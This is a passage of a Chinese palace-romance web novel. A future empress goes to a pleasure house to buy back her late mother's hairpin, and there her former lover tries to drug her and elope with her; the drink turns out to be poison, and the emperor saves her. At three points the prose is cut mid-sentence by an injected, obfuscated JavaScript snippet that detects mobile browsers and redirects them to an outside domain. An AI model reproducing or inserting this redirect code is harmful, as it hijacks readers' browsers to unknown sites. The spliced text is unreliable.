“什么不会卖?我看是那琴娘见您几番前去,坐地起价罢了!”阿屏不高兴道,“您难道没跟她提簪子的原主是当今皇后娘娘?” 管家阿伯哎呦道一声小祖宗,“皇后娘娘的名头哪是随便就能搬出来嚇人的!春花秋月本就是风月场所,里头鱼龙混杂,娇客们为造声名什么话都能编造出来,没得漏了皇后娘娘的名头,东西拿不回来不说,还由着人家踩在脚下当阶梯。” 崔雪朝知晓管家已经尽力,并未为难。 自她归京,花了不少精力寻回当家崔家旧物,十之八九或人情或重金都收的差不多了。 及笄礼的那只白玉兰头簪并不名贵,只是母亲亲手绘制的花样交由工匠打造,侧罅的圆珠是母亲成亲头冠上的顶珠,寓意非凡。 寻不到罢了,既有了音信,旧物存情,不想让它抿于外界。 “可曾与那琴娘说了簪子是母亲赠予女儿的爱物?” 管家点头:“那琴娘说东西是她当年入春花秋月时买的第一件首饰,这么多年伴着,见证诸多。她体谅原主的不舍,也想让原主也念念她的情深。” 崔雪朝想想,进到寝居琴匣取出一卷白纸交给管家:“她既卖艺,想来看得懂琴谱。与她看看这个,若她瞧得上,可作为出手簪子的赠物送她。” 管家神情微松,说这回应能成事。 翌日他又到了喜腊院,说辜负娘娘期望。 “琴娘说谱子是好,她也愿意出手。只是她说自己琴艺疏浅,不想让春花秋月的其他琴师偷艺,若写谱子的人能教她一回,便肯割爱。” 也在情理之中。 崔雪朝点头,“寻上一处妥帖地方......” 管家为难:“您有所不知,这春花秋月规矩严苛,凡是艺者,除非得楼主恩准,终身不得踏出楼内半步。如有违逆,便遭酷刑惩戒。” 万姑姑:“难不成要让娘娘金尊玉体去那等糟污之地?!” 管家摇头。 原是那春花秋月与寻常狎妓吃花酒的地方不同,占地颇广,楼内建设容囊甚繁,以廊桥河苑相连,东西南北四座分楼。 雅客与荤俗并举,其间甚至有两条外物巷,胡部泼辣热情的漩舞盛会,南边水线的杂耍猴戏喷火钻圈... “望京有名的食楼—香积堂就在春花秋月的秋字苑,望京中不少高门女眷常三五相邀同去品鉴。” 提及香积堂,万姑姑稍松神情。 阿屏也两眼放亮:“香积堂原在那里!娘娘最爱吃他家的蟹酿橙和软兜掐丝饼!” 崔雪朝唤一声贺功。 廊下的贺大统领早就听见堂内热闹的话语,进门拱手,“娘娘只管出行,护卫一事可放心交由微臣。” “切记不可招摇,低调行事,见了琴娘就返程。” 贺功:“微臣遵命!” 他自廊下离去,领着人安排明日娘娘出行的一切事宜,最关键是务必通禀告知于宫内的陛下。 屋内阿屏抚掌笑起来:“打归京来,娘娘很少出门。过些时候进宫,又不知何时有机会才能出宫。娘娘,我长这么大,还没看过胡部的旋舞呢。听秦妈妈说,跳旋舞的舞姬腰肢软,身上就几块巴掌大的布料,一转起来,围看的客人哗啦哗啦不要命地撒铜板!!!”一只舞那得赚多少银子呐! 万姑姑不好当着皇后的面谴阿屏的不端庄,等到只有两人才冷起脸训话:“娘娘尊于中宫,一举一动不知有多少眼睛在盯着,你是一等贴身宫女,更应该谨言慎行!” 阿屏乖乖点头,说小人记下了。 待万姑姑转身,心说她家姑娘将来困在宫里,就跟那被捆了翅膀的漂亮鸟似的,总是让大姑娘稳重端庄,闷得人讷讷的,多糟心啊! 即便贺功再三作保不会出差错,万姑姑依旧担忧不已,直到贺功说宫里陛下放了话,只叫娘娘玩得开心,她才不再多说。 翌日晌后,崔雪朝饱饱睡个午觉,换过素雅轻简的菱纱裙,戴上一副长垂至膝前的幕篱,趁着太阳斜落,坐上低调的马车。 一路穿街过巷,阿屏在万姑姑严防死守的目光下老老实实地不曾撩起车帘往外看。 只是热闹繁熠的各种声音透过车窗,心里激动溢于言表。 终于,马车停了。 贺功:“姑娘,到春花秋月了。” 崔雪朝顺着搀扶而下,不及细看,一道机灵的人影直奔而来:“贵客临门,真乃大幸!不知您几位来春花秋月是赏景听曲还是吃宴品酒?” 崔府管家说与人有约,报了一个楼间号。 厮者啊的一声,“原来是跟花苑的素琴娘子有约。您几位这边请。” 一边引路在前,一边告罪:“素琴娘子今日本暇休,不巧来了一位常客点了她的琴,眼下正在客人厢里做陪,少不得要几位贵客稍待片刻。” 这话立时引来贺功和管家的不满。 厮者很有经验:“您几位别急,素琴娘子吩咐小人,几位先在雅堂稍坐,近日香积堂新研发的几样清肴,还有杯莫停的藏家启了窖藏五年的瓮头春,那可是打前朝时就风靡京都的好酒,难得一遇,贵客不妨尝尝?” 稍待之间安排的净是高标的消遣。 入间坐定,见八幅屏风隔出两个清净处,贺功有些不满:“姑娘,微...小人去寻厮者换间僻静处。” 崔雪朝说不必了,这间虽被一道屏风分作两处款待人的地方,彼此并不干扰,胜在隔窗眺尽楼内所有风景,大而红装的高台白衫琵琶娘沉浸弹奏的神情一览无余。 “客随主便,你们也不用太过拘谨。” 不一会儿四五个厮者顶着宽盘进来,一摆满满十来个盘,样样精致,其中一道素蒸音声部,不过方寸大,汉阳造玉的盘上六个绘彩面人,琵琶古筝击鼓编钟,活灵活现到可以入画的程度。 “天爷,这东西竟然是用面做的!” 阿屏瞪大眼睛:“这要是让秦妈妈见了,非得去后厨跟人家拜师学艺!” 万姑姑亦是惊叹,宫中聚齐天下荟萃,但民间总有奇人。 “这道桃花饭瞧着比宫里的还要细致。” 总之不算慢待。 崔雪朝招呼厮者另摆置了一桌小食案,贺功推脱不得,恍大一个踞坐在阿屏身边,像座小山,动筷时很有君子风,下筷时却无愧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478454|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武将出身,一盘蟹黄毕罗,两口就吃光了。 阿屏:“!...你怎么不给我留点?” 贺功理不直气壮:“我当差要紧,吃得快些,等会儿要去站岗呢!” 无耻。 阿屏心里嘀咕趁着琴娘没到,扎着脑袋下筷胡塞一通。 正含糊着让贺功给自己留一口乳酥盏,突有厮者话音,几人顿住竖起耳朵,只听屏风那头来了客人。 贺功再不敢贪吃,挎刀而起,高高的一个站在屏风处,依稀瞧见那头只一人,暂无隐患,与卷帘门外的同僚使个眼色, “一个四十来岁的酒客。” 同僚探查回禀道。 吃过佳肴,高台上的琵琶娘退下,片刻后激昂躁动的鼓乐齐鸣,楼内高处的灯台熄了好些,只舞台亮如白昼,一伍美丽娇艳的胡部舞姬款步入场。 阿屏哇偶一声,“姑娘您瞧最前头那个,真的跟秦妈妈说的一模一样,只有两块布料!她不冷吗?” 贺功垂眸,见那领头舞姬细细的红绳悬着两块眼睛大的布挡在要紧处,走动间重峦叠嶂惊险刺激,台下的吆喝声震得人耳鸣。 不过他不似那群看客般留恋,先斜一眼板芽菜身材的阿屏,继而尽责地站岗。 纸醉金迷间,门上来了人。 女子楼间琴娘穿戴,轻纱罩面,妙目倩兮,身后跟着抱琴的一名琴侍,垂着脑袋瞧不真切五官,轮廓秀致,并不稀奇。 贺功朝内回禀,引人进去,崔府管家互为引荐。 素琴娘子并没有众人以为的那般倨傲,很亲和。阿屏和万姑姑立起肃穆,恭敬地站在屏风一侧伺候。 既是以琴谱为引,免不得要素手弹上几下。 琴侍促步过来,崔雪朝套上指套,道一句有劳,一抬眸,看清这琴侍的脸,有些愣怔。 “姑娘要弹哪一曲试琴?” 记忆回旋,少时技艺小有所成,她请人给辜家送信,邀辜家兄妹于幽昙盛开之夜赏脸。 一室静谧如殊,云霞闹着不愿做碍眼之人。 那时已因琴艺在京都公子间出名的辜云生浅笑,支颐在膝,风流华盖,“阿朝,你要弹哪一曲试琴?” 她红着脸说《凤凰引》,那是男女悦琴之音。 人如昨,往昔再难回溯。 崔雪朝看着辜云生深情的眼,心下叹气,“你们先下去吧。” 万姑姑与贺功彼此看看,听令退至门外,阿屏摸不着头脑也跟着走了。 素琴娘子上前接过琴架,一串流利悦耳的琴音响彻室内,掩盖住所有声响,一如屏风后那侧再次响起的厮者引路声。 “贵客勿怪,今日楼中席位不丰,只得委屈您与这间堂客共享一室。但您莫急,一室两案,轩窗各有千秋,彼此...” 吱呀门响,正站在窗前的内客回眸望来,袁望撇去一眼,就见那四十多岁胡须虬面的人突然瞪大眼珠,“陛下!您怎么在这儿?” 厮者只听到一个‘避’字,其后屏风那侧清越琴音恰好遮去剩余话音,他讨饶地拱拱手:“贵客勿惊,今日来舞阁的客人实在太多,只好委屈您与这位共用一间。” 话罢,立时呈递上请罪的稀罕瓮头春,见二位似乎认识,放下心来,“那您二位请自便。” 胡须满脸的邋遢客随意挥手。 待得室内再无旁人,急忙拱手,“您都知道了?” 知道什么? 乾元帝拧起眉峰:“你作何在此处?” 怀疑的目光忍不住偏向屏风那侧。 哪知对方尚未开口,屏风那侧琴韵丰满,其间竟有一道男音传至两人耳畔。 ——“三宫六院七十二妃嫔,他配不上你!” 29. 第 29 章 特意装扮过的四旬中年男人魏亭怀疑自己耳朵,目光偏移到隔间的屏风,山水锦绣的风雅样衬托得眼前陛下容颜格外霜寒。 “你来此作何?” 魏亭回神解释:“回陛下,臣来此地乃是暗查。” 京西铁矿一案迟迟没有眉目,好不容易山里的暗探传出飞鸽,窝藏在京西绵山深处的矿井管事今日终于离开。 锦职司的探子守在四城门口,一等那管事现身,迅速递了消息给副使魏亭。 “那管事进京之后直奔此地,臣怀疑此僚应是与人约好见面,故而乔装前来。” 乾元帝示意他自去原来呆的位置盯人,越近择了靠那头的位置站定,黑沉的影子投在屏风上,没得叫人心寒。 只是一屋不同境,崔雪朝尚不知有旁人在窥探。 楼下燥热的鼓点乐如海浪般一阵阵涌起又褪去,素琴娘子弹指间亦是激昂而出。 踞坐的两人起先只是隔着宽案对望,辜云生眼底波涛汹涌,好一阵才艰涩地开口,“三宫六院七十二妃嫔,他配不上你!” 所以呢? 崔雪朝以为他是来同自己告别,或是为陈年旧事彼此抒怀,可他神情似乎决绝,“阿兄究竟想说什么?” 辜云生心头潮热,激动地探前身子:“阿朝,你跟我走吧!” 崔雪朝错愕不已,“走?走去何处?” “天大地大,总有皇权倾覆不到的地方。阿朝,只要我们在一起,纵是地狱火海都可以!” 他的语气疯狂到让崔雪朝觉得可怜,什么火海地狱,这是她当年同他说过的,如今再听,心里酸涩,又怅惘起来:“阿兄,你不要辜家双亲,不要你的妻子和女儿了吗?” “别跟我提他们!” 辜云生捏紧拳头,目眦欲裂:“若不是为了父亲母亲,当年我何至于弃你独自苟且?阿朝,自你走后,我活得生不如死,活得像朽木太痛苦!!” 他要牵她的手,崔雪朝不肯让他碰,躲闪开,眼神清明:“阿兄,你应是吃醉酒了,我只当今日没见过你,你走吧。” 辜云生何尝不知道今日所求艰难。 太过心急反而惹得她板着脸,故而缓缓心绪,“我知你恨我,可当年的事情,我错在受家族负累。阿朝,易地而处,若你母亲和父亲被缚内廷,无人施以援手,只要你嫁给末帝便能救人,你可愿意?” 他是如此心诚,言辞恳切,为当年错失的缘愁思太久。 崔雪朝俶尔灵台清明,原来她当年恨辜云生背弃,不只在他争都未争便选择尚主,还是因为自己信错了人,情愫错许。 “我不愿意。” 她嗓音轻淡,笃定而言:“我从小读书识礼,明贞德志,我不为崔氏的清名,我会为了自己,甘愿赴死。” “若这世间真有时光回溯的机会,如你所言,双亲受缚,需要牺牲我而苟活,我父我母若知我为了他们受辱,只怕不肯苟活。” 这话无异是扇了辜云生一巴掌。 他长久不语,似乎回溯了自己前半生,及至回神,也不过才过去半盏茶的功夫。 楼下胡旋音已至后半程 辜云生知道留给自己的时间不多了,他与素琴娘子对视一眼。 下一瞬激昂的音律如山溪垂落,润如雨泽,悠扬起来。 崔雪朝心有所觉,不动声色地抬眼看向门边。 贺功与两位侍卫高大的身影沉稳守备。 “往事如流水,追论对错已然没有意义。” 辜云生舒口气,换了另一种劝法:“我们只论今后。阿朝,你双亲多年恩爱,崔府后院亦是只崔夫人一人,你从小看着父母恩爱长大,难道真的甘心自己嫁给一个妃嫔如云的君王吗?” 辜云生:“阿朝,我是这世上最了解你心性的人。你清高有傲骨,绝对不是肯折腰邀宠献媚之人。我比你了解男人,或许册礼之后种种迹象昭彰陛下对你爱重,远远甚于旁人,可一年两年,几年后呢?” 这话瞬间拿捏住崔雪朝的软肋。 辜云生见对面的人不自觉抿直唇角,从小到大,但凡她有不如意处,总是会在微末处露出心思,为这份不曾改变的小习惯,他心底渐渐回暖。 “朝局纷杂,今日陛下会因高家权势太盛而仰仗崔家,来日崔家如日中天,他会有选哪一家制衡你的皇后之尊呢?” “...崔家族人不会仗着我的皇后之位,威胁到陛下的清政。” “你太天真了。” 辜云生冷嗤:“你以为自己通透,实则困在井底。直到如今你还以为末帝是因你和云霞的双艳之名而借题发作吗?是朝局纷争,是权势站队,是末帝默许世家争斗好揽尽皇权!” “你,我,还有云霞,我们都是权力场中最不起眼的一粒尘埃罢了。” 这话带着宿命到头的哀叹,也让崔雪朝生出大梦初醒的怔然。 “所以,你跟我走吧。” 他的言辞哀切恳求:“什么辜家崔家,这么多年的委曲求全,我们不欠他们什么。你跟我走,过去错失的岁月,用往后余生的相伴来弥补!我们去外埠,坐大船,我们去海外寻一个避世小岛,日出而作日入而息,搭一间茅屋,纵是轻简,也绝对比陷在望京这浑浊地要好千万倍!” 明明是那么美好的画面,可他的描绘下,崔雪朝眼前浮现的却是那日夕阳斜照,窗棂下的碎晕闪耀着光辉。那人像个寻常人家的夫郎盘腿坐于自己膝下,眼底含笑,望着自己。 她嗫喏着,觉得好心酸,原来不知不觉间她对那人并非全然冷漠。 “我...阿兄,我现在只把你当做我的阿兄。” 这是判词,对辜云生所有期盼的判死之言。 他艰难地咽下一口气:“阿朝,你是对那人生出男女之情了吗?” 屏风后的乾元帝在这一瞬有种命悬一线的窒息感。 幸而这感觉并未持续太久,幽婉的琴音伴辅,她的回复给了自己一线生机。 “我从不因自己的心动而觉得耻辱,男女之情无需遮掩,我坦坦荡荡,的确对陛下有情。” 她承认了! 辜云生却是摇头:“这不可能!” “你肯定是昏头了,错把感激当做情!” “这不怪你,是那人哄骗的手段了得罢了。” 说完,竟是笑出了声,“你与云霞最交好,若云霞还活着,知晓你竟然看中那样的人,可知她会笑话你什么?” “笑话什么?” 辜云生:“笑话那人一把年纪,怕是再过几年,身上都会有股老人味了!哈哈哈哈......” “......” 崔雪朝无语,想说自己今岁二十余四,又非二八年华。十年之差,并不悬殊。但辜云生猜测的论调确实是辜云霞那样口无遮拦的人能讲出的话,想起旧友,露出笑痕。 只是一点,很快泯于不见。 气氛不再凝滞。 辜云生见她终于肯笑,弥久的悲意漫上心头,声音低沉如水缓缓淌过她的心中。 “阿朝,他足够懂你吗?你爱吃什么,爱什么颜色,闲暇时有何喜好,他了解吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484858|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你假装不在意说没事时,他懂你的未尽之意吗?你发脾气难过时,他能陪在你身边吗?” “或者说,他肯去了解、去懂你吗?” 他的笑比哭还要让崔雪朝难过,因为她知道他在说什么。 与天下之主的婚姻一开始就是被薄弱的线牵着的风筝,她始终飘在半空,无法把根扎进内廷的土中。 琴音将至尾声,辜云生见她松动,长长舒口气:“阿朝,跟我走吧。” 崔雪朝只盯着小几上的鸳鸯图,慢慢摇头。 “我不能走。” “我亲口答应要嫁给那人。” “或许今日你所言全都为真。来日他与我两心相隔也罢,为权而悖也好,至少此时此刻,我想成为他妻子的心,没有变。” 纠结,两难,那是小女儿才会有的情态。 她不是。她的取舍不在此间,不在辜家大公子三言两语中,早在宫廷中答应做皇后时,她就有了决心。 或许彷徨于往后,但不后悔站在他身边。 一直以来不自信的是他,是他畏惧她的易变,明知辜家大公子来者不善,也要做个藏头藏尾的墙角汉,听听她的抉择! 终于能放心了,袁望松缓着僵硬的身躯,一挥手,身后侍卫无言拱手退下。 长长的廊那端,贺功接到示意,只等里边琴娘和那假琴侍一出来,立刻缉拿! 厮者恰时上门端来小方盘。 辜云生提梁倒了两小樽,一杯至自己身前,另一杯一点点推送到崔雪朝身前。 “上好的瓮头春。” 他露出伤感遗憾的眼神:“那年盛夏,云霞去西游博川前也曾让人买了一壶,说等她归家,要和你我把酒月下,对影成九人。” 辜家马车在城外被末帝贼僚拦下,护卫遭屠,似玉贞洁的辜家大姑娘当晚自尽于云鹿台。 “云霞不在了,往后与你再难相见。” 有泪滚落颊容,辜云生仰头一口饮下辛辣烈酒,“与你长别。” 崔雪朝见他饮下,这才握上酒樽,“愿阿兄能及早释怀,往后常乐。” 垂落的眼睫挡住视线,不曾瞧文雅君子相的人,那张脸变得好瘆人。 唇沾上冰冷的杯面时,突然有人惊呼‘别喝!’,与此同时一道尖锐利器破空而来直直撞上她指间的酒杯。 一切发生在电光火石间,巨力袭来,毫不设防下,酒杯破裂迸溅,一具高大的身影踏长屏猛然扑来,崔雪朝眼前一黑,她被人紧紧地拥在怀中,嗅到某种幽深的沉香气。 光亮恢复的刹那,仰头见到熟悉的面庞时,惊讶地合不拢嘴。 “放开!你们放开我!” 辜云生撕心裂肺的喊声唤回她的神智,贺功领着侍卫将一身琴侍衣裳的人死死扑压在地上,“等等,他......” 目光不期然看到方才自己坐着的蒲团旁边。 光洁地面洒落酒水,湿漉漉的地面此时却是泛着一阵阵刺眼的白沫。 那是... 崔雪朝难以置信地望着面容扭曲的辜云生,无法相信眼前所见。 因为她坚持不跟他走,所以......他就要毒杀了她? 她突然觉得喘不上来气。 “阿朝!你听我解释!那不是.....呜呜呜...放...呜呜......” 一只温热的手掌不容拒绝地将她的脸揽回怀中。 世界昏暗,只能听到他蓬勃的心跳。 久久后,传来他的抚慰。 “汀溪,别为不值得的人流泪。” 30. 第 30 章 人最忌走进死胡同后宁死不回头。 或许真如阿娘说得那般,相见不如怀念,彼此成了过客,反倒也好。 偏偏那日翠柳鸣蝉,一眼望断心肠,于是发了狂入了魔怔,竟走到如今死地。 他知道,自己这回怕是活不成了。 牢狱栏杆外传来脚步声,辜云生扭头,见来人龙行虎步,面如天宪,恨意渗着嫉妒,“陛下是来向臣炫耀的吗?” 乾元帝懒得理他,内侍搬来宽大圈椅,他往里泛泛一坐,抚着下颌思索后,道:“朕今日来此,是有话要问你。” 该交代的,辜云生全都交代得干净。 下的什么药,迷晕人之后让琴娘假扮拖延时辰,如何离开望京,户籍文书以及路引关文一应物品等等 乾元帝看过锦职司呈递上来的口供,嗤笑某人痴心妄想,真当自己这天子是前朝末帝那种酒囊饭袋不成? “昨日被你下在皇后杯盏中的药乃是钩吻喉,至毒之物,服下不足一盏茶便会心肺蚀穿腐烂痛苦而死。” “怎么可能?那只是让人昏睡的.....” 想起昨日出门前女儿突然扑到身上,辜云生目眦欲裂,原本瘫在地上的人扑上前,隔着栏杆瞪大眼睛:“阿朝呢?阿朝还好吗?” “朕的皇后自有朕护着。反倒是你,使计诱骗皇后在前,蛊惑皇后私奔未遂后竟敢投毒!犯下此等大罪,你不问问朕如何处置你辜家满门?” 辜云生:“从我决定带阿朝离开这里时,辜家上下便无一人与我有关。”只是回忆起昨日,有种劫后余生的感慨:“只要阿朝活着就好。” 他的情深可谓偏激至极。 乾元帝何尝不为昨日的惊险而心悸。本想待辜云生出了小间,不惊动皇后将人扣下治罪。 亏得他不放心从屏风隙内瞥见那琴娘的脸色古怪,顺着琴娘视线看去,敏锐意识到酒水有问题! 至毒的药洒落地板嗤地腾起白烟,当时生出一身冷汗,回神才发觉怀中的皇后在发抖,急忙遮住她的眼眸。 昔日青梅,只道缘尽,却低估了男人爱而不得的扭曲心肠! 她躲在他怀里很久,再离去时神情浑噩,乾元帝目送她上了马车走远,才发觉自己胸襟前被眼泪湮湿好大一片。 “你真该死。” 辜云生:“为她而死,死而无憾!” “你想得美。” 乾元帝:“你死在咎由自取,死在你从始至终的懦弱,死于你身为男人的自负!口口声声‘为了皇后好’,当年与而今,你所为皆是为了满足自己的私欲!” “枉你自称是世上最了解皇后的人。” 皇后尊亲爱长,本心存善,不攀附权势,气节宁折不弯。 而眼前这东西自私自利,为人子,该死!为人父与夫,亦当死! 万分后悔从前竟为了此人,自己拈酸吃醋,掉价。 今日来此浑浊处,本是想亲口问问皇后少时与他是如何相处。本以为是情敌见面分外眼红的僵局,自己免不得以辜家胁迫一二。 奈何见了此人,晦气得起身就走。 陛下走得干脆,自有旁人稍留片刻。 锦职司正使曹大人俯视着牢内的辜云生:“经查,昨日毒害皇后娘娘之物乃是你夫人命其女,趁你不备偷偷更换。昨夜,端秀县主与其女双双突发恶疾不幸离世。” “辜大人与夫人骤闻此丧,惊厥难眠,已于今朝呈上辞疏。” 一挥手,身后有衙役端上东西,白纱与一方小瓷瓶。 曹大人:“依下官之意,您夫人费尽功夫寻到的东西实在不该浪费。” 辜云生擦去眼泪,倒算痛快地饮下东西。 一生经历在眼前如走马观灯般上演,死亡将至,嗫喏着唇,依稀道了声‘对不起’。 消息回禀,乾元帝刚到喜腊院外。 想了又想,进门挥退宫人,把真相告知于崔雪朝。 论心机,他坚定了辜云生昨日的下毒之举,能让她和过往切割得干净利落。 然一想到她躲在自己怀中的眼泪,突然觉得不必隐瞒什么,真与假是虚妄,至少让她不那么痛彻心扉,他也会好受些。 “辜家壮士断腕,已处决了她们。” 乾元帝顿了顿,知道不该,还是忍不住试探:“但辜云生并非全然无辜,你觉得该如何惩办?” 崔雪朝低下头看着腕上的宝钏。 本以为辜云生疯魔到毒杀自己的地步,昨夜哭过,夜里翻来覆去睡不着,眼前总是浮过很多他们相处的场景,只是记忆中儒雅美好的君子成了索命的恶鬼。 人和人建立关系需要很多个日夜,然而归零只是一瞬间。 他既然恨她恨到索命的程度,那自己也恨回去就是! 哪知他没有。 虽然还是要下药,但迷药带来的破灭至少比毒药轻了很多。 “这几个时辰,每每想起你蒙在鼓里提樽差点饮下的画面,我这心跳就要停上好久。” 见她不语,乾元帝攥着她的手抚上悸动的胸口:“你听听。” 崔雪朝见他残存着害怕,不自觉地坐近他安慰着:“我没事。” 扭脸让他看自己的神色:“你看,我这不是好好的嘛?” 好什么好?眼窝下的青好大一团,真是好丑! 袁望别扭于她的伤怀,又欣喜于她这时凝望自己的专注:“纵是迷药也很可恶!那琴娘交代得清清楚楚,他们二人合谋,等你昏厥,便让那琴娘换了你的衣裳拖延时间。” “辜云生倒是周全,提前备好两套平民身份,健马等在巷子口。若是贺功几个反应慢些,发觉不对时怕是他早就绑着你离开望京,疾行几日,坐上去海外的大船了!” “不会的。” 她缓声安抚他想象出来的离别:“我总会醒的,只要我醒,一定想办法回来。” “那可不一定。” 袁望:“天高任鸟飞,你一走说不定觉得海外小岛什么的也很逍遥快活。说来最可怜的是我,好大好美丽的一个皇后,千盼万等,最后丢了连说理的地方都没。” 说着说着,拉出老长的一声叹,好不可怜。 崔雪朝总觉得他的话里有不对劲的,一时没回过味来,忙着与他表明自己的清白。 都不是年岁浅的人,你一言我一句,倒有几分情窦初开的人甜滋滋腻在一起的美好。 万姑姑守在廊下,舒口气,对面阿屏还不知昨日自己脑袋在刀锋前转了一圈,只追着贺功问陛下会如何处置辜家人。 阿屏:“说定了辜家夫人要在六月初六那日给皇后娘娘做簪客的,如今她儿子不知死活做出蠢事,想来她也没脸来吃席吧!” 贺功无奈,心说瘦丫头就记得吃席,辜家险些落得满门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492885|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抄家,陛下念着皇后娘娘情面上,只叫辜家辞官归京。 被缠得无法,只好在阿屏耳边碎碎一通。 大日头下,阿屏听得浑身发寒。 小丫头骂得痛快,一口一个该死,真知道辜家大公子连妻子孩子全都丧命,又突然惶惶起来。 “皇后娘娘很喜欢辜家那个小姑娘的。”她呢喃道。 “再喜欢也不能把祸根留下。” 贺功道:“他爹娘活不成,留她在世上万一去哪间野庙行巫蛊诅咒皇后娘娘怎么办?” 阿屏哦了声,说也对。再冰雪可爱的小姑娘都没有皇后娘娘重要!再说了,将来皇后娘娘生了公主,那才是世上最可爱的孩子! 屋里的袁望重提旧话:“依你之见,辜家三个如何处置?” 崔雪朝眨眨眼,在他探寻的目光下无奈道:“抛去私情,我是大乾的皇后,毒杀国母,其罪当诛。” 袁望点头,过半晌,没等到‘但是’,“没了?其罪当诛,然后呢?” 崔雪朝:“都其罪当诛了,还有什么?” 见他哦了声,困惑起来:“难道你希望我发个善念,大度地饶过他们?” “那倒不是。” 人都归西,万一她真的想发善念,自己要从哪儿变回那一家三口来? “还以为你舍不得自小长大的情意呢。” 在她淡然的目光下,不由讪讪。 试探到满意的答复,心里格外舒服,果然不愧是他力排众议挑选出来的皇后。 当皇后的人,慈能归拢人心,也要有狠厉的手腕震慑住暗地里轻视她的人。 于是挺挺胸膛,在她的屋内慢悠悠踱步:“六月初六大礼,等你入宫住上一月,七月暑热,我们乘龙舟搬去明园住好不好?” “明园比宫里还好住?” 袁望自然不曾去过,打下江山的天子第一年在外平乱,第二年临朝稍展手腕,未有机会贪恋享乐安逸。 “明园地势低,风从长原过去,环水之园,是解暑圣地。” 那就去吧。 嫁给皇帝头一件的好处显露出来,得天下之养,日子过得是顶级的舒坦。 “明园有处沁风台,到时我与你同住,白日我去批阅周折跟大臣们议政,傍晚我去寻你,咱们一块垂钓吃烤鱼。” 他还保有带兵在外的粗习。 崔雪朝不知死板板地垂着长杆等鱼上钩,究竟为何能招好些男人沉迷不可救药,和妻子说说话教孩子写字读书共享天伦,难道不好吗? 婚姻将成,预感要磨合的地方还有不少。 只是这么一打岔,因辜家涌起的惆消散不少,夜上时听阿屏说辜家两位大人不曾获罪,辞官归乡,稍慰藉些。 纵是低调万分,当日自己行踪总会落在有心人耳中。 他是帝王,有皇家体面,辜云生欲挟她私奔是对天子颜面的挑衅,辜家满门死不足惜。 开恩饶恕,说到底是为了顾及她。 他的珍视让原本就有的好感愈发上升,临睡前叮嘱万姑姑明日记得开私库:“我记得有一匹香宝花罗的料子,瓷釉透青的。” 万姑姑问用处。 “答应了要给陛下做一件外衫,进宫前还有几日,正好闲着也是闲着。” 万姑姑立时说好,给陛下的衣衫那不得回禀到宫中?做衣裳嘛,总得有尺寸小样吧。 31. 第 31 章 瓷釉青色... 乾元帝站在独属于皇帝的内库展架前,逡巡片刻,握上今夏官窑刚朝贡的越州青瓷瓶。通体呈八棱形,直口,长颈,溜肩鼓腹,釉面清亮,釉色青绿,宛如一汪湖水。 “衣衫嘛,朕又不缺。” 他抚着青瓶,突然道,不远处垂目恭立的内库使心说这话是什么意思,斗胆向上递个疑惑的眼神,乾元帝也在看他,两两相望,心意不通。 还是童公公脑筋转得快,一拽内库使的袖子让他往旁边稍稍,“针线司的东西是差事,娘娘的手艺是对陛下的关爱,哪能一样呢。” 乾元帝好受地嗯一声,“这釉质的青确实好。前朝有位陆龟蒙的诗人,曾作诗‘九秋风露越窑开,夺得千峰翠色来’。” 童公公哎呦赞陛下您精通千古,“皇后娘娘素日闲暇也爱读诗,万千颜色中,偏择这个颜色,想来是和陛下您心有灵犀,同觉这色儿配您的气质!” “哈哈哈哈....” 乾元帝郎然笑笑,这越州青瓷类做千峰翠色,苍郁葱茏,沉静深远。 若非与他心意相通,知晓他至深品性的独有魅力,万万选不出这样好的颜色来。 沉吟片刻,道:“朕记得崔家二房的老爷呆在礼部司博士呆了好些年吧?” 童公公眼神一转:“听人说崔家二老爷爱书画等文雅之物,常在礼部司整理旧朝遗留下的规制造件儿。”整天对着造册跟库房盘点东西少没少,多没多,什么仪式上用几件东西,用完送回来擦洗干净他给入库。说白点,就是个体面不多零碎繁冗但升不上去的死位。 乾元帝唔了下:“越州官窑今年有个七品的监吏缺儿吧?” 童公公说是。 “爱文雅之物的人想来审美不俗,让吏部拟旨,待朕大婚之后,让崔二去越州办差吧。” 赏了官,眼神一溜在库房展架上转过,在内库使还没反应过来前,就把今夏朝贡上来的锦缎窑瓷海珠珊瑚等十几箱子东西全赏给了皇后娘娘。 乾元帝神情愉悦道:“这库房堆得太满,朕帮你们清清堆货,省得你们每日盘点起来辛劳。” 内库使领着一群小内监叩谢陛下体恤。 等主子一走,才敢松松筋骨,内库的某个管事嘀咕:“陛下真能给皇后娘娘抬面。这许多贴己搭进去,白白便宜坤宁宫姓李那几个碎催!” 